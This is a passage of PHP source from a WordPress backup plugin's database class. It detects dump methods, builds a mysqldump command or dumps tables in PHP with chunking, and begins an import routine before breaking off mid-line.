pb_backupbuddy::status( 'details', 'mysqlbuddy: Force method of `' . count( $force_methods ) . '` passed.' ); } else { pb_backupbuddy::status( 'details', 'mysqlbuddy: Force method not an array.' ); } // Set mechanism for dumping / restoring. if ( count( $force_methods ) > 0 ) { // Mechanism forced. Overriding automatic check. pb_backupbuddy::status( 'message', 'mysqlbuddy: Settings overriding automatic detection of available database dump methods. Using forced override methods: `' . implode( ',', $force_methods ) . '`.' ); if ( in_array( 'commandline', $force_methods ) ) { pb_backupbuddy::status( 'details', 'Forced methods include commandline so calculating mysql directory.' ); $this->_mysql_directories = $this->_calculate_mysql_dir(); // Try to determine mysql location / possible locations. $this->_methods = $this->available_dump_methods(); // Run after _calculate_mysql_dir(). } $this->_methods = $force_methods; } else { // No method defined; auto-detect the best. pb_backupbuddy::status( 'message', 'mysqlbuddy: Method not forced. About to detect directory and available methods.' ); $this->_mysql_directories = $this->_calculate_mysql_dir(); // Try to determine mysql location / possible locations. $this->_methods = $this->available_dump_methods(); // Run after _calculate_mysql_dir(). } pb_backupbuddy::status( 'message', 'mysqlbuddy: Detected database dump methods: `' . implode( ',', $this->_methods ) . '`.' ); // Figure out max execution time allowed. if ( ( '' != $maxExecution ) && ( is_numeric( $maxExecution ) ) ) { $this->_maxExecutionTime = $maxExecution; } else { // Not passed. Deduce. if ( isset( pb_backupbuddy::$options['max_execution_time'] ) ) { $this->_maxExecutionTime = pb_backupbuddy::$options['max_execution_time']; } else { // Detect max execution time. $this->_maxExecutionTime = backupbuddy_core::detectMaxExecutionTime(); } } if ( '-1' == $this->_maxExecutionTime ) { pb_backupbuddy::status( 'details', 'Max execution time chunking disabled by passing -1 to constructor. No chunking will be used for the database dump.' ); } else { pb_backupbuddy::status( 'details', 'If applicable, breaking up with max execution time `' . $this->_maxExecutionTime . '` seconds.' ); } global $wpdb; $this->_current_sql_version = $wpdb->db_version(); pb_backupbuddy::status( 'details', 'This server\'s mysql version: `' . $this->_current_sql_version . '`.' ); } // End __construct(). /* set_incoming_sql_version() * * Set the mysql version which creating the SQL file(s) we will be importing. * */ public function set_incoming_sql_version( $version ) { $this->_incoming_sql_version = $version; pb_backupbuddy::status( 'details', 'Set incoming SQL mysql version to `' . $this->_incoming_sql_version . '`.' ); if ( version_compare( $this->_incoming_sql_version, '5.1.0', '<' ) && version_compare( $this->_current_sql_version, '5.1.0', '>=' ) ) { pb_backupbuddy::status( 'warning', 'Error #7001: This server\'s mysql version, `' . $this->_current_sql_version . '` may have SQL query incompatibilities with the backup mysql version `' . $this->_incoming_sql_version . '`. This may result in #9010 errors due to syntax of TYPE= changing to ENGINE=. If none occur you may ignore this error.' ); $this->_hotfix_7001 = true; pb_backupbuddy::status( 'details', 'Enabling hotfix #7001 to replace TYPE= with ENGINE= in SQL syntax.' ); } } // End set_incoming_sql_version(). /* force_single_db_file() * * When enabled by passing true, BackupBuddy will dump individual tables to their own database file (eg wp_options.sql, wp_posts.sql, etc) when possible based on other criteria such as the dump method and whether breaking out big tables is enabled. * * @param bool $force Whether or not to force to single file. Defaults to TRUE if this function is called. * @return null */ public function force_single_db_file( $force = true ) { if ( true === $force ) { pb_backupbuddy::status( 'details', 'Forcing database backups to go into a single db_1.sql file despite other settings.' ); $this->_force_single_db_file = true; } else { pb_backupbuddy::status( 'details', 'Enabling database backups to go into individual tablename.sql files as possible.' ); $this->_force_single_db_file = false; } return; } // End force_single_db_file(). /* available_dump_methods() * * function description * * @param * @return string Possible returns: mysqldump, php */ public function available_dump_methods() { pb_backupbuddy::status( 'details', 'mysqldump test: Testing available mysql database dump methods.' ); if ( function_exists( 'exec' ) ) { // Exec is available so test mysqldump from here. pb_backupbuddy::status( 'details', 'mysqldump test: exec() function exists. Testing running mysqldump via exec().' ); /********** Begin preparing command **********/ // Handle Windows wanting .exe. if ( stristr( PHP_OS, 'WIN' ) && !stristr( PHP_OS, 'DARWIN' ) ) { // Running Windows. (not darwin) $command = 'msqldump.exe'; } else { $command = 'mysqldump'; } $command .= " --version"; // Redirect STDERR to STDOUT. $command .= ' 2>&1'; /********** End preparing command **********/ // Loop through all possible directories to run command through. foreach( $this->_mysql_directories as $mysql_directory ) { // Try each possible directory. mysql directory included trailing slash. // Run command. pb_backupbuddy::status( 'details', 'mysqldump test running next.' ); list( $exec_output, $exec_exit_code ) = $this->_commandbuddy->execute( $mysql_directory . $command ); if ( stristr( implode( ' ', $exec_output ), 'Ver' ) !== false ) { // String Ver appeared in response (expected response to mysqldump --version pb_backupbuddy::status( 'details', 'mysqldump test: Command appears to be accessible and returns expected response.' ); $this->_mysql_directory = $mysql_directory; // Set to use this directory for the real dump. return array( 'php', 'commandline' ); // mysqldump best, php next. } } } else { // No exec() so must fall back to PHP method only. pb_backupbuddy::status( 'details', 'mysqldump test: exec() unavailable so skipping command line mysqldump check.' ); return array( 'php' ); } return array( 'php' ); } // End available_dump_method(). /* _calculate_mysql_dir() * * Tries to determine the path to where mysql is installed. Needed for running by command line. Prepends found location to list of possible default mysql directories. * * @return array Array of directories in preferred order. */ private function _calculate_mysql_dir() { pb_backupbuddy::status( 'details', 'mysqlbuddy: Attempting to calculate exact mysql directory.' ); $failed = true; $mysql_directories = $this->_default_mysql_directories; global $wpdb; $basedir = $wpdb->get_results( "SHOW VARIABLES LIKE 'basedir'", ARRAY_N ); if ( $basedir !== false ) { $basedirtrim = rtrim( $basedir[0][1], '/\\' ); // Trim trailing slashes. $mysqldir = $basedirtrim . '/bin/'; array_unshift( $mysql_directories, $mysqldir ); // Prepends the just found directory to the beginning of the list. pb_backupbuddy::status( 'details', 'mysqlbuddy: Mysql reported its directory. Reported: `' . $basedir[0][1] . '`; Adding binary location to beginning of mysql directory list: `' . $mysqldir . '`' ); $failed = false; } if ( $failed === true ) { pb_backupbuddy::status( 'details', 'mysqlbuddy: Mysql would not report its directory.' ); } return $mysql_directories; } // End _calculate_mysql_dir(). /* dump() * * function description * * @see _mysqldump(). * @see _phpdump(). * * @param string $output_directory Directory to output to. May also be used as a temporary file location. Trailing slash auto-added if missing. * @param array $tables Array of tables to dump. * @param int $rows_start Starting row, if any. Only works with PHP mode. Used with chunking. * @return */ public function dump( $output_directory, $tables = array(), $rows_start = 0 ) { //, $base_dump_mode, $additional_includes = array(), $additional_excludes = array() ) { $output_directory = rtrim( $output_directory, '/' ) . '/'; // Make sure we have trailing slash. pb_backupbuddy::status( 'milestone', 'start_database' ); pb_backupbuddy::status( 'message', 'Starting database dump procedure.' ); pb_backupbuddy::status( 'details', "mysqlbuddy: Output directory: `{$output_directory}`." ); if ( count( $tables ) == 1 ) { pb_backupbuddy::status( 'details', 'Dumping single table `' . $tables[0] . '`.' ); } else { pb_backupbuddy::status( 'details', 'Table dump count: `' . count( $tables ) . '`.' ); } if ( file_exists( $output_directory . 'db_1.sql' ) ) { pb_backupbuddy::status( 'details', 'Database SQL file exists. It will be appended to.' ); } // Attempt each method in order. pb_backupbuddy::status( 'details', 'Preparing to dump using available method(s) by priority. Methods: `' . implode( ',', $this->_methods ) . '`' ); foreach( $this->_methods as $method ) { $return = false; if ( method_exists( $this, "_dump_{$method}" ) ) { pb_backupbuddy::status( 'details', 'mysqlbuddy: Attempting dump method `' . $method . '`.' ); $result = call_user_func( array( $this, "_dump_{$method}" ), $output_directory, $tables, $rows_start ); if ( $result === true ) { // Dump completed succesfully with this method. pb_backupbuddy::status( 'details', 'mysqlbuddy: Dump method `' . $method . '` completed successfully.' ); $return = true; break; } elseif ( $result === false ) { // Dump failed this method. Will try compatibility fallback to next mode if able. // Do nothing. Will try next mode next loop. pb_backupbuddy::status( 'details', 'mysqlbuddy: Dump method `' . $method . '` failed. Trying another compatibility mode next if able.' ); } elseif ( is_array( $result ) ) { // Chunking. pb_backupbuddy::status( 'details', 'mysqlbuddy: Dump method `' . $method . '` is using chunking.' ); return $result; } else { // Something else returned; need to resume? TODO: this is for future use for resuming dump. pb_backupbuddy::status( 'details', 'mysqlbuddy: Unexepected response: `' . implode( ',', $result ) . '`' ); $return = false; } } } // end foreach. //pb_backupbuddy::status( 'status', 'database_end' ); pb_backupbuddy::status( 'milestone', 'finish_database' ); if ( $return === true ) { // Success. pb_backupbuddy::status( 'message', 'Database dump procedure succeeded.' ); return true; } else { // Overall failure. pb_backupbuddy::status( 'error', 'Database dump procedure failed.' ); return false; } } // End dump(). /* _dump_commandline() * * function description * * @param string $output_directory Directory to output to. May also be used as a temporary file location. Trailing slash required. dump() auto-adds trailing slash before passing. * @param array $tables Array of tables to dump. If only one table in array then will use TABLENAME.sql instead of db_1.sql. * @param int $rows_start N/A. Not used by this method. * @return */ private function _dump_commandline( $output_directory, $tables, $rows_start = 0 ) { //, $base_dump_mode, $additional_excludes ) { if ( ( count( $tables ) == 1 ) && ( false === $this->_force_single_db_file ) ) { // If only one table then name .sql file after it. $output_file = $output_directory . $tables[0] . '.sql'; } else { // Multiple tables so use generaic db_1.sql file to dump into. $output_file = $output_directory . 'db_1.sql'; } pb_backupbuddy::status( 'sqlFile', basename( $output_file ) ); // Tells status checker which file to request size data for when polling server. pb_backupbuddy::status( 'details', 'mysqlbuddy: Preparing to run command line mysqldump via exec().' ); $exclude_command = ''; /* if ( ( $base_dump_mode == 'all' ) && ( count( $additional_excludes ) == 0 ) ) { // Dumping ALL tables in the database so do not specify tables in command line. // Do nothing. Just dump full database. pb_backupbuddy::status( 'details', 'mysqlbuddy: Dumping entire database with no exclusions.' ); } elseif ( ( $base_dump_mode == 'all' ) && ( count( $additional_excludes ) > 0 ) ) { // Dumping all tables by default BUT also excluding certain ones. pb_backupbuddy::status( 'details', 'mysqlbuddy: Dumping entire database with additional exclusions.' ); // Handle additional exclusions. $additional_excludes = array_filter( $additional_excludes ); // ignore any phantom excludes. foreach( $additional_excludes as $additional_exclude ) { $exclude_command .= " --ignore-table={$this->_database_name}.{$additional_exclude}"; } } else { // Only dumping certain pb_backupbuddy::status( 'details', 'mysqlbuddy: Dumping specific tables.' ); $tables_string = implode( ' ', $tables ); // Specific tables listed to dump. } */ $tables_string = implode( ' ', $tables ); // Specific tables listed to dump. /********** Begin preparing command **********/ // Handle Windows wanting .exe. if ( stristr( PHP_OS, 'WIN' ) && !stristr( PHP_OS, 'DARWIN' ) ) { // Running Windows. (not darwin) $command = $this->_mysql_directory . 'msqldump.exe'; } else { $command = $this->_mysql_directory . 'mysqldump'; } // Handle possible sockets. if ( '' != $this->_database_socket ) { $command .= " --socket={$this->_database_socket}"; pb_backupbuddy::status( 'details', 'mysqlbuddy: Using sockets in command.' ); } // Handle overriding port. if ( '' != $this->_database_port ) { $command .= " --port={$this->_database_port}"; pb_backupbuddy::status( 'details', 'mysqlbuddy: Using custom port `' . $this->_database_port . '` based on DB_HOST setting.' ); } // Set default charset if available. global $wpdb; if ( isset( $wpdb ) ) { pb_backupbuddy::status( 'details', 'wpdb charset override for commandline: ' . $wpdb->charset ); $command .= " --default-character-set=" . $wpdb->charset; } // TODO WINDOWS NOTE: information in the MySQL documentation about mysqldump needing to use --result-file= on Windows to avoid some issue with line endings. /* Notes: --skip-opt Skips some default options. MUST add back in create-options else autoincrement will be lost! See http://dev.mysql.com/doc/refman/5.5/en/mysqldump.html#option_mysqldump_opt --quick --skip-comments Dont bother with extra comments. --create-options Required to add in auto increment option. --disable-keys Prevent re-indexing the database after each and every insert until the entire table is inserted. Prevents timeouts when a db table has fulltext keys especially. */ $command .= " --host=" . escapeshellarg( $this->_database_host ) . " --user=" . escapeshellarg( $this->_database_user ) . " --password=" . escapeshellarg( $this->_database_pass ) . " --skip-opt --quick --disable-keys --skip-comments --create-options {$exclude_command} " . escapeshellarg( $this->_database_name ) . " {$tables_string} 2>&1 >> {$output_file}"; // 2>&1 redirect STDERR to STDOUT. /********** End preparing command **********/ /********** Begin command line length check **********/ // Simple check command line length. If it appears long then do advanced check via command line to see what actual limit is. Falls back if too long to execute our process in one go. // TODO: In the future handle fallback better by possibly breaking the command up if possible rather than strict fallback to PHP dumping. $command_length = strlen( $command ); pb_backupbuddy::status( 'details', 'mysqlbuddy: Command length: `' . $command_length . '`.' ); if ( '1' == pb_backupbuddy::$options['ignore_command_length_check'] ) { pb_backupbuddy::status( 'details', 'mysqlbuddy: Advanced option to skip command line length check results in enabled. Skipping.' ); } else { if ( $command_length > self::COMMAND_LINE_LENGTH_CHECK_THRESHOLD ) { // Arbitrary length. Seems standard max lengths are > 200000 on Linux. ~8600 on Windows? pb_backupbuddy::status( 'details', 'mysqlbuddy: Command line length of `' . $command_length . '` (bytes) is large enough ( >' . self::COMMAND_LINE_LENGTH_CHECK_THRESHOLD . ' ) to verify compatibility. Checking maximum allowed command line length for this sytem.' ); // Check max command length supported by server. list( $exec_output, $exec_exit_code ) = $this->_commandbuddy->execute( 'echo $(( $(getconf ARG_MAX) - $(env | wc -c) ))' ); // Value will be a number. This is the maximum byte size of the command line. pb_backupbuddy::status( 'details', 'mysqlbuddy: Command output: `' . implode( ',', $exec_output ) . '`; Exit code: `' . $exec_exit_code . '`; Exit code description: `' . pb_backupbuddy::$filesystem->exit_code_lookup( $exec_exit_code ) . '`' ); if ( is_array( $exec_output ) && is_numeric( $exec_output[0] ) ) { pb_backupbuddy::status( 'details', 'mysqlbuddy: Detected maximum command line length for this system: `' . $exec_output[0] . '`.' ); if ( $command_length > ( $exec_output[0] - 100 ) ) { // Check if we exceed maximum length. Subtract 100 to make room for path definition. if ( '1' == pb_backupbuddy::$options['ignore_command_length_check'] ) { pb_backupbuddy::status( 'details', 'mysqlbuddy: This system\'s maximum command line length of `' . $exec_output[0] . '` is shorter than command length of `' . $command_length . '`. However, the option to ignore command line length check is enabled based on settings so continuing anyways.' ); } else { if ( $exec_output[0] < 0 ) { pb_backupbuddy::status( 'warning', 'mysqlbuddy: This system reported a negative number for the maximum command line length. This means that BackupBuddy cannot safely detect this system\'s limit. This check can be overridden by enabling the "Skip command line length check" advanced option on the Settings page in BackupBuddy as a workaround. get_conf ARG_MAX likely failed.' ); } pb_backupbuddy::status( 'details', 'mysqlbuddy: This system\'s maximum command line length of `' . $exec_output[0] . '` is shorter than command length of `' . $command_length . '`. Falling back into compatibility mode to insure database dump integrity.' ); return false; } } else { pb_backupbuddy::status( 'details', 'mysqlbuddy: This system\'s maximum command line length of `' . $exec_output[0] . '` is longer than command length of `' . $command_length . '`. Continuing.' ); } } else { pb_backupbuddy::status( 'details', 'mysqlbuddy: Unable to determine maximum command line length. Falling back into compatibility mode to insure database dump integrity.' ); return false; // Fall back to compatibilty mode just in case. } } else { pb_backupbuddy::status( 'details', 'mysqlbuddy: Command line length length check skipped since it is less than check threshold `' . self::COMMAND_LINE_LENGTH_CHECK_THRESHOLD . '`.' ); } } /********** End command line length check **********/ // Run command. pb_backupbuddy::status( 'details', 'mysqlbuddy: Running dump via commandline next.' ); list( $exec_output, $exec_exit_code ) = $this->_commandbuddy->execute( $command ); // Check for unexpected mysql command line response text... if ( is_array( $exec_output ) ) { foreach( $exec_output as $exec_output_line ) { if ( false !== stristr( $exec_output_line, 'unrecognized option' ) ) { pb_backupbuddy::status( 'error', 'mysqldump did not recognize one or more options. Verify mysqldump version is up to date. Falling back to compatibility mode. Error: `' . $exec_output_line . '`.' ); return false; } } } @include_once( pb_backupbuddy::plugin_path() . '/lib/wpdbutils/wpdbutils.php' ); if ( class_exists( 'pluginbuddy_wpdbutils' ) ) { global $wpdb; $dbhelper = new pluginbuddy_wpdbutils( $wpdb ); if ( ! $dbhelper->kick() ) { pb_backupbuddy::status( 'error', __('Database Server has gone away, unable to schedule next backup step. The backup cannot continue. This is most often caused by mysql running out of memory or timing out far too early. Please contact your host.', 'it-l10n-backupbuddy' ) ); pb_backupbuddy::status( 'haltScript', '' ); // Halt JS on page. return false; } } else { pb_backupbuddy::status( 'details', __('Database Server connection status unverified.', 'it-l10n-backupbuddy' ) ); } // Check the result of the if ( $exec_exit_code == '0' ) { pb_backupbuddy::status( 'details', 'mysqlbuddy: Command appears to succeeded and returned proper response.' ); if ( file_exists( $output_file ) ) { // SQL file found. SUCCESS! pb_backupbuddy::status( 'message', 'mysqlbuddy: Database dump SQL file exists.' ); // Display final SQL file size. $sql_filesize = pb_backupbuddy::$format->file_size( filesize( $output_file ) ); pb_backupbuddy::status( 'details', 'Final SQL database dump file size of `' . basename( $output_file ) . '`: ' . $sql_filesize . '.' ); pb_backupbuddy::status( 'finishTableDump', '' ); return true; } else { // SQL file MISSING. FAILURE! pb_backupbuddy::status( 'error', 'mysqlbuddy: Though command reported success database dump SQL file is missing: `' . $output_file . '`.' ); return false; } } else { pb_backupbuddy::status( 'details', 'mysqlbuddy: Warning #9030. Command did not exit normally. This is normal is your server does not support command line mysql functionality. Falling back to database dump compatibility modes.' ); return false; } // Should never get to here. pb_backupbuddy::status( 'error', 'mysqlbuddy: Uncaught exception #453890.' ); return false; } // End _dump_commandline(). /* _phpdump() * * PHP-based dumping of SQL data. Compatibility mode. Was only mode pre-3.0. * * @param string $output_directory Directory to output to. May also be used as a temporary file location. Trailing slash required. dump() auto-adds trailing slash before passing. * @param array $tables Array of tables to dump. * @return mixed true on success, false on fail, array( remaining_tables, row_start ) on chunking. */ private function _dump_php( $output_directory, $tables, $resume_starting_row = 0 ) { //, $base_dump_mode, $additional_excludes ) { $this->time_start = microtime( true ); $last_file_size_output = microtime( true ); $output_file_size_every_max = 5; // Output current SQL file size no more often than this. Only checks if it has been enough time once each burst of max rows per select is processed. $max_rows_per_select = $this->_max_rows_per_select; if ( $resume_starting_row > 0 ) { pb_backupbuddy::status( 'details', 'Resuming chunked dump at row `' . $resume_starting_row . '`.' ); } global $wpdb; if ( !is_object( $wpdb ) ) { pb_backupbuddy::status( 'error', 'WordPress database object $wpdb did not exist. This should not happen.' ); error_log( 'WordPress database object $wpdb did not exist. This should not happen. BackupBuddy Error #8945587973.' ); return false; } // Connect if not connected for importbuddy. /* if ( defined( 'PB_IMPORTBUDDY' ) ) { if ( !mysql_ping( $wpdb->dbh ) ) { $maybePort = ''; if ( '' != $this->_database_port ) { $maybePort = ':' . $this->_database_port; pb_backupbuddy::status( 'details', 'Using custom specified port `' . $this->_database_port . '` in DB_HOST.' ); } $wpdb->dbh = mysql_connect( $this->_database_host . $maybePort, $this->_database_user, $this->_database_pass ); mysql_select_db( $this->_database_name, $wpdb->dbh ); } } */ $insert_sql = ''; pb_backupbuddy::status( 'details', 'Loading DB kicker for use leter in case database goes away.' ); @include_once( pb_backupbuddy::plugin_path() . '/lib/wpdbutils/wpdbutils.php' ); if ( class_exists( 'pluginbuddy_wpdbutils' ) ) { global $wpdb; $dbhelper = new pluginbuddy_wpdbutils( $wpdb ); } else { pb_backupbuddy::status( 'details', __('Database Server connection status will not be verified as kicker is not available.', 'it-l10n-backupbuddy' ) ); } global $wpdb; // Used later for checking that we are still connected to DB. // Iterate through all the tables to backup. // TODO: Future ability to break up DB exporting to multiple page loads if needed. $remainingTables = $tables; foreach( $tables as $table_key => $table ) { $_count = 0; $insert_sql = ''; if ( $resume_starting_row > 0 ) { pb_backupbuddy::status('details', 'Chunked resume on dumping `' . $table . '`. Resuming where left off at `' . $resume_starting_row . '`.' ); $rows_start = $resume_starting_row; $resume_starting_row = 0; // Don't want to skip anything on next table. } else { $rows_start = 0; } pb_backupbuddy::status( 'details', 'Dumping database table `' . $table . '`. Max rows per select: ' . $max_rows_per_select . '. Starting at row `' . $resume_starting_row . '`.' ); pb_backupbuddy::status( 'startTableDump', $table ); if ( false === $this->_force_single_db_file ) { $output_file = $output_directory . $table . '.sql'; } else { pb_backupbuddy::status( 'details', 'Advanced option to force to single .sql file enabled.' ); $output_file = $output_directory . 'db_1.sql'; } pb_backupbuddy::status( 'details', 'SQL dump file `' . $output_file . '`.' ); if ( '-1' == $this->_maxExecutionTime ) { pb_backupbuddy::status( 'details', 'Database max execution time chunking disabled based on -1 passed.' ); } else { pb_backupbuddy::status( 'details', 'mysqlbuddy: PHP-based database dump with max execution time for this run: ' . $this->_maxExecutionTime . ' seconds.' ); } if ( false === ( $file_handle = fopen( $output_file, 'a' ) ) ) { pb_backupbuddy::status( 'error', 'Error #9018: Database file is not creatable/writable. Check your permissions for file `' . $output_file . '` in directory `' . $output_directory . '`.' ); return false; } pb_backupbuddy::status( 'sqlFile', basename( $output_file ) ); // Tells status checker which file to request size data for when polling server. if ( 0 == $rows_start ) { $create_table = $wpdb->get_results( "SHOW CREATE TABLE `{$table}`", ARRAY_N ); if ( $create_table === false ) { pb_backupbuddy::status( 'error', 'Unable to access and dump database table `' . $table . '`. Table may not exist. Skipping backup of this table.' ); //backupbuddy_core::mail_error( 'Error #4537384: Unable to access and dump database table `' . $table . '`. Table may not exist. Skipping backup of this table.' ); continue; // Skip this iteration as accessing this table failed. } // Table creation text if ( ! isset( $create_table[0] ) ) { pb_backupbuddy::status( 'error', 'Error #857835: Unable to get table creation SQL for table `' . $table . '`. Result: `' . print_r( $create_table ) . '`. Verify that it exists and mysql permissions allow this. If you manually included this as an additional table, make sure it is the correct table name.' ); return false; } $create_table_array = $create_table[0]; unset( $create_table ); $insert_sql .= str_replace( "\n", '', $create_table_array[1] ) . ";\n"; // Remove internal linebreaks; only put one at end. unset( $create_table_array ); // Disable keys for this table. $insert_sql .= "/*!40000 ALTER TABLE `{$table}` DISABLE KEYS */;\n"; } $queryCount = 0; $rows_remain = true; while ( true === $rows_remain ) { // Row creation text for all rows within this table. $query = "SELECT * FROM `$table` LIMIT " . $rows_start . ',' . $max_rows_per_select; $table_query = $wpdb->get_results( $query, ARRAY_N ); $rows_start += $max_rows_per_select; // Next loop we will begin at this offset. if ( $table_query === false ) { pb_backupbuddy::status( 'error', 'ERROR #85449745. Unable to retrieve data from table `' . $table . '`. This table may be corrupt (try repairing the database) or too large to hold in memory (increase mysql and/or PHP memory). Check your PHP error log for further errors which may provide further information. Not continuing database dump to insure backup integrity.' ); return false; } $tableCount = count( $table_query ); pb_backupbuddy::status( 'details', 'Got `' . $tableCount . '` rows from `' . $table . '` of `' . $max_rows_per_select . '` max.' ); if ( ( 0 == $tableCount ) || ( $tableCount < $max_rows_per_select ) ) { $rows_remain = false; } $columns = $wpdb->get_col_info(); $num_fields = count( $columns ); foreach( $table_query as $fetch_row ) { $insert_sql .= "INSERT INTO `$table` VALUES("; for ( $n=1; $n<=$num_fields; $n++ ) { $m = $n - 1; if ( $fetch_row[$m] === NULL ) { $insert_sql .= "NULL, "; } else { $insert_sql .= "'" . backupbuddy_core::dbEscape( $fetch_row[$m] ) . "', "; } } $insert_sql = substr( $insert_sql, 0, -2 ); $insert_sql .= ");\n"; $writeReturn = fwrite( $file_handle, $insert_sql ); if ( ( false === $writeReturn ) || ( 0 == $writeReturn ) ) { pb_backupbuddy::status( 'error', 'Error #843948: Unable to write to SQL file. Return error/bytes written: `' . $writeReturn . '`.' ); @fclose( $file_handle ); return false; } $insert_sql = ''; $_count++; // Show a heartbeat to keep user up to date [and entertained ;)]. if ( ( 0 === ( $_count % self::HEARTBEAT_COUNT_LIMIT ) ) || ( 0 === ( $_count % ceil( $max_rows_per_select / 2 ) ) ) ) { // Display every X queries based on heartbeat OR at least display every half max rows per select. pb_backupbuddy::status( 'details', 'Working... Dumped `' . $_count . '` rows from `' . $table . '` so far.' ); } } // end foreach table row. if ( false === $rows_remain ) { pb_backupbuddy::status( 'details', 'Dumped `' . $_count . '` rows total from `' . $table . '`. No rows remain.' ); } else { if ( ( microtime( true ) - $last_file_size_output ) > $output_file_size_every_max ) { // It's been long enough to get the current file size of SQL file. // Display final SQL file size. $sql_filesize = pb_backupbuddy::$format->file_size( filesize( $output_file ) ); pb_backupbuddy::status( 'details', 'Current database dump file `' . basename( $output_file ) . '` size: ' . $sql_filesize . '.' ); $last_file_size_output = microtime( true ); } // If we are within X seconds (self::TIME_WIGGLE_ROOM) of reaching maximum PHP runtime AND rows remain then stop here and CHUNK so that it can be picked up in another PHP process... if ( '-1' != $this->_maxExecutionTime ) { if ( ( ( microtime( true ) - pb_backupbuddy::$start_time ) + self::TIME_WIGGLE_ROOM ) >= $this->_maxExecutionTime ) { // used to use $this->time_start but this did not take into account time used prior to db step. pb_backupbuddy::status( 'details', 'Approaching limit of available PHP chunking time of `' . $this->_maxExecutionTime . '` sec. PHP ran for ' . round( microtime( true ) - pb_backupbuddy::$start_time, 3 ) . ' sec, database dumping ran for ' . round( microtime( true ) - $this->time_start, 3 ) . ' sec having dumped `' . $_count . '` rows. Proceeding to use chunking on remaining tables: ' . implode( ',', $remainingTables ) ); @fclose( $file_handle ); return array( $remainingTables, $rows_start ); } // End if. } } // Verify database is still connected and working properly. Sometimes mysql runs out of memory and dies in the above foreach. // No point in reconnecting as we can NOT trust that our dump was succesful anymore (it most likely was not). if ( isset( $dbhelper ) ) { if ( ! $dbhelper->kick() ) { pb_backupbuddy::status( 'error', __( 'ERROR #9026: The mySQL server went away unexpectedly during database dump of table `' . $table . '`. This is almost always caused by mySQL running out of memory. The backup integrity can no longer be guaranteed so the backup has been halted.' ) . ' ' . __( 'Last table dumped before database server went away: ' ) . '`' . $table . '`.' ); @fclose( $file_handle ); return false; } } else { pb_backupbuddy::status( 'details', 'Database kicker unavailable so connection status unverified.' ); } } // End while rows remain. // Remove the current table from the list of tables to dump as it is done. unset( $remainingTables[ $table_key ] ); // Re-enable keys for this table. $insert_sql .= "/*!40000 ALTER TABLE `{$table}` ENABLE KEYS */;\n"; $writeReturn = fwrite( $file_handle, $insert_sql ); if ( ( false === $writeReturn ) || ( 0 == $writeReturn ) ) { pb_backupbuddy::status( 'error', 'Error #843948: Unable to write to SQL file. Return error/bytes written: `' . $writeReturn . '`.' ); @fclose( $file_handle ); return false; } $insert_sql = ''; @fclose( $file_handle ); pb_backupbuddy::status( 'details', 'Finished dumping database table `' . $table . '`.' ); pb_backupbuddy::status( 'finishTableDump', $table ); if ( isset( $output_file ) ) { $stats = stat( $output_file ); pb_backupbuddy::status( 'details', 'Database SQL dump file (' . basename( $output_file ) .') size: ' . pb_backupbuddy::$format->file_size( $stats['size'] ) ); pb_backupbuddy::status( 'sqlSize', $stats['size'] ); } pb_backupbuddy::status( 'details', 'About to flush...' ); pb_backupbuddy::flush(); //unset( $tables[$table_key] ); } // end foreach table. @fclose( $file_handle ); unset( $file_handle ); pb_backupbuddy::status( 'details', __('Finished PHP based SQL dump method. Ran for ' . round( microtime( true ) - $this->time_start, 3 ) . ' sec.', 'it-l10n-backupbuddy' ) ); return true; } // End _phpdump(). /* get_methods() * * Get an array of methods. Note: If force overriding methods then detected methods will not be able to display. * * @return array Array of methods. */ public function get_methods() { return $this->_methods; } /* import() * * Import SQL contents of a .sql file into the database. Only modification is to table prefix if needed. Prefixes (new and old) provided in constructor. * Automatically handles fallback based on best available methods. * * @param string $sql_file Full absolute path to .sql file to import from. * @param string $old_prefix Old database prefix. New prefix provided in constructor. * @param int $query_start Query number (aka line number) to resume import at. * @param boolean $ignore_existing Whether or not to allow import if tables exist already. Default: false. * @return mixed true on success (boolean) * false on failure (boolean) * integer (int) on needing a resumse (integer is resume number for next page loads $query_start) */ public function import( $sql_file, $old_prefix, $query_start = 0, $ignore_existing = false ) { $return = false; $this->_current_sql_file = $sql_file; // Require a new table prefix. if ( $this->_database_prefix == '' ) { pb_backupbuddy::status( 'error', 'ERROR 9008: A database prefix is required for importing.' ); } if ( $query_start > 0 ) { pb_backupbuddy::status( 'message', 'Continuing to restore database dump starting at file location `' . $query_start . '`.' ); } else { pb_backupbuddy::status( 'message', 'Restoring database dump. This may take a moment...' ); } global $wpdb; // Check whether or not tables already exist that might collide. /* if ( $ignore_existing === false ) { if ( $query_start == 0 ) { // Check number of tables already existing with this prefix. Skips this check on substeps of DB import. $rows = $wpdb->get_results( "SELECT table_name FROM information_schema.tables WHERE table_name LIKE '" . backupbuddy_core::dbEscape( str_replace( '_', '\_', $this->_database_prefix ) ) . "%' AND table_schema = DATABASE()", ARRAY_A ); if ( count( $rows ) > 0 ) { pb_backupbuddy::status( 'error', 'Error #9014: Database import halted to prevent overwriting existing WordPress data.', 'The database already contains a WordPress installation with this prefix (' . count( $rows ) . ' tables). Restore has been stopped to prevent overwriting existing data. *** Please go back and enter a new database name and/or prefix OR select the option to wipe the database prior to import from the advanced settings on the first import step. ***' ); return false; } unset( $rows ); } } */ pb_backupbuddy::status( 'message', 'Starting database import procedure.' ); if ( '-1' == $this->_maxExecutionTime ) { pb_backupbuddy::status( 'details', 'Database max execution time chunking disabled based on -1 passed.' ); } else { pb_backupbuddy::status( 'details', 'mysqlbuddy: Maximum execution time for this run: ' . $this->_maxExecutionTime . ' seconds.' ); } pb_backupbuddy::status( 'details', 'mysqlbuddy: Old prefix: `' . $old_prefix . '`; New prefix: `' . $this->_database_prefix . '`.' ); pb_backupbuddy::status( 'details', "mysqlbuddy: Importing SQL file: `{$sql_file}`. Old prefix: `{$old_prefix}`. Query start: `{$query_start}`." ); pb_backupbuddy::status( 'details', 'About to flush...' ); pb_backupbuddy::flush(); // Attempt each method in order. pb_backupbuddy::status( 'details', 'Preparing to import using available method(s) by priority. Basing import methods off dump methods: `' . implode( ',', $this->_methods ) . '`' ); foreach( $this->_methods as $method ) { if ( method_exists( $this, "_import_{$method}" ) ) { pb_backupbuddy::status( 'details', 'mysqlbuddy: Attempting import method `' . $method . '`.' ); $result = call_user_func( array( $this, "_import_{$method}" ), $sql_file, $old_prefix, $query_start, $ignore_existing ); if ( $result === true ) { // Dump completed succesfully with this method. pb_backupbuddy::status( 'details', 'mysqlbuddy: Import method `' . $method . '` completed successfully.' ); $return = true; break; } elseif ( $result === false ) { // Dump failed this method. Will try compatibility fallback to next mode if able. // Do nothing. Will try next mode next loop. pb_backupbuddy::status( 'details', 'mysqlbuddy: Import method `' . $method . '` failed. Trying another 